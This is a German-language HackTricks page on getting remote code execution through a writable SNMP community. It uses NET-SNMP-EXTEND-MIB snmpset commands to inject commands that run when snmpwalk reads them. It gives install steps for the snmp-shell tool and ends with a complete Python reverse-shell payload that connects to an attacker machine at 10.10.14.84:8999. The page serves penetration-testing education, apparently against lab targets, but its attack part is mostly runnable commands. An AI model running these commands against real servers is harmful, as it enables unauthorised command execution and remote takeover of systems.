tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

SNMP RCE

SNMP kann von einem Angreifer ausgenutzt werden, wenn der Administrator die Standardkonfiguration auf dem Gerät oder Server übersieht. Durch Missbrauch der SNMP-Community mit Schreibberechtigungen (rwcommunity) auf einem Linux-Betriebssystem kann der Angreifer Befehle auf dem Server ausführen.

Erweiterung von Diensten mit zusätzlichen Befehlen

Um SNMP-Dienste zu erweitern und zusätzliche Befehle hinzuzufügen, ist es möglich, neue Zeilen zur "nsExtendObjects"-Tabelle hinzuzufügen. Dies kann erreicht werden, indem der Befehl snmpset verwendet wird und die erforderlichen Parameter, einschließlich des absoluten Pfads zur ausführbaren Datei und des auszuführenden Befehls, bereitgestellt werden:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Befehle zur Ausführung injizieren

Das Injizieren von Befehlen zur Ausführung auf dem SNMP-Dienst erfordert die Existenz und Ausführbarkeit des aufgerufenen Binaries/Skripts. Die NET-SNMP-EXTEND-MIB schreibt vor, den absoluten Pfad zur ausführbaren Datei anzugeben.

Um die Ausführung des injizierten Befehls zu bestätigen, kann der Befehl snmpwalk verwendet werden, um den SNMP-Dienst aufzulisten. Die Ausgabe zeigt den Befehl und die zugehörigen Details an, einschließlich des absoluten Pfades:

bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Ausführen der injizierten Befehle

Wenn der injizierte Befehl gelesen wird, wird er ausgeführt. Dieses Verhalten ist bekannt als run-on-read(). Die Ausführung des Befehls kann während des snmpwalk-Lesens beobachtet werden.

Erlangen einer Server-Shell mit SNMP

Um die Kontrolle über den Server zu erlangen und eine Server-Shell zu erhalten, kann ein von mxrch entwickeltes Python-Skript von https://github.com/mxrch/snmp-shell.git verwendet werden.

Alternativ kann eine Reverse-Shell manuell erstellt werden, indem ein spezifischer Befehl in SNMP injiziert wird. Dieser Befehl, der durch den snmpwalk ausgelöst wird, stellt eine Reverse-Shell-Verbindung zum Rechner des Angreifers her und ermöglicht die Kontrolle über die Opfermaschine. Sie können die Voraussetzungen installieren, um dies auszuführen:

bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Oder eine Reverse-Shell:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks